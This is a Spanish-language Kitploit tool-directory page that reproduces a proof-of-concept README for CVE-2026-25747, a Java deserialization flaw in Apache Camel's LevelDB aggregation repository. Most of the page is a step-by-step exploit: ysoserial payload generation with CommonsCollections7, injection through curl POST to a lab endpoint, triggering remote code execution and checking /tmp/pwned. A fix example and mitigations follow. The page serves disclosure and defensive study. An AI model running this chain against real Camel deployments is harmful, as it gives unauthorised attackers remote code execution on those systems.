Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Vulnerabilidad de deserialización en Camel LevelDB | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-25747
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Vulnerabilidad de deserialización en Camel LevelDB

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de la vulnerabilidad de deserialización en LevelDB

Este proyecto demuestra una vulnerabilidad de deserialización en Java en el repositorio de agregación LevelDB de Apache Camel, similar a CVE-2024-23114 (que afectaba al repositorio de agregación Cassandra).

Resumen de la vulnerabilidad

PropiedadValor
Componentecamel-leveldb
Clase afectadaDefaultLevelDBSerializer.java
Métodos vulnerablesdeserializeKey(), deserializeExchange()
CWECWE-502: Deserialización de datos no confiables
ImpactoEjecución remota de código (RCE)
Versiones afectadasTodas las versiones, incluida la 4.17.0 (sin corregir hasta la fecha de las pruebas)

Detalles técnicos

La clase DefaultLevelDBSerializer utiliza ObjectInputStream sin ningún tipo de filtrado:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

Compárese con la implementación de Cassandra corregida (desde Camel 4.4.0):

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

Requisitos previos

  • Java 17+
  • Maven 3.8+
  • ysoserial (para la generación de payloads)

Pasos para la reproducción

Paso 1: Compilar e iniciar la aplicación

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

Paso 2: Inicializar la base de datos LevelDB

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

Salida esperada:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

Ahora puedes inyectar un payload malicioso con POST /exploit/inject

Paso 3: Generar el payload malicioso

Descarga ysoserial y genera un payload:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

Genera un payload que ejecute un comando (por ejemplo, abrir la calculadora, crear un archivo, etc.)

Paso 4: Inyectar el payload en LevelDB

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

Salida esperada:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

El payload se deserializará cuando:

  1. La aplicación se reinicie y recupere las agregaciones
  2. Se realice una operación get() sobre esta clave
  3. Se ejecute el mecanismo de escaneo/recuperación

Paso 5: Desencadenar la deserialización (¡RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

Esto iterará sobre todas las claves y llamará a repo.get(), ¡lo que desencadena la deserialización!

Paso 6: Verificar la explotación

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

Si el archivo /tmp/pwned existe, ¡el exploit fue exitoso!

Vectores de ataque

La vulnerabilidad se puede desencadenar a través de múltiples vías:

  1. Reinicio de la aplicación: cuando Camel se inicia, recupera las agregaciones incompletas de LevelDB
  2. Mecanismo de recuperación: el escaneo periódico de recuperación deserializa los exchanges almacenados
  3. Acceso directo: cualquier llamada a get() en el repositorio desencadena la deserialización

Condiciones para la explotación

Para una explotación exitosa:

  1. Acceso de escritura a LevelDB: el atacante debe poder escribir en el archivo de la base de datos LevelDB

    • Sistema de archivos compartido
    • Almacenamiento comprometido
    • Otra vulnerabilidad que permita la escritura de archivos
  2. Librería de gadgets en el classpath: debe estar presente una librería con cadenas de gadgets explotables

    • commons-collections:3.2.1 (CommonsCollections1-7 gadgets)
    • org.springframework:spring-core (Spring gadgets)
    • Muchas otras (consulta ysoserial)

Comparación con CVE-2024-23114

Corrección recomendada

Aplica la misma corrección que en Cassandra:

  1. Usa ClassLoadingAwareObjectInputStream en lugar de ObjectInputStream sin procesar
  2. Añade un ObjectInputFilter configurable con valores predeterminados seguros
  3. Filtro predeterminado: "java.**;org.apache.camel.**;!*"

Ejemplo de corrección para DefaultLevelDBSerializer.java:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

Mitigación

Hasta que se publique una corrección:

  1. Restringe el acceso a archivos: asegúrate de que los archivos de LevelDB solo sean escribibles por la aplicación Camel
  2. Elimina las librerías de gadgets: si es posible, elimina o actualiza librerías vulnerables como commons-collections 3.x
  3. Usa un serializador alternativo: configura JacksonLevelDBSerializer en lugar de DefaultLevelDBSerializer
  4. Segmentación de red: aísla los sistemas que usan agregación con LevelDB

Archivos

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

Aviso legal

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas. No lo utilices contra sistemas sin permiso explícito.

Descargar herramienta
AspectoCassandra (CVE-2024-23114)LevelDB (Este problema)
EstadoCorregido en 4.4.0SIN CORREGIR en 4.17.0
ObjectInputStreamUsa ClassLoadingAwareObjectInputStreamUsa ObjectInputStream sin procesar
Filtro de deserialización"java.**;org.apache.camel.**;!*"Ninguno
JIRACAMEL-20306Aún no reportado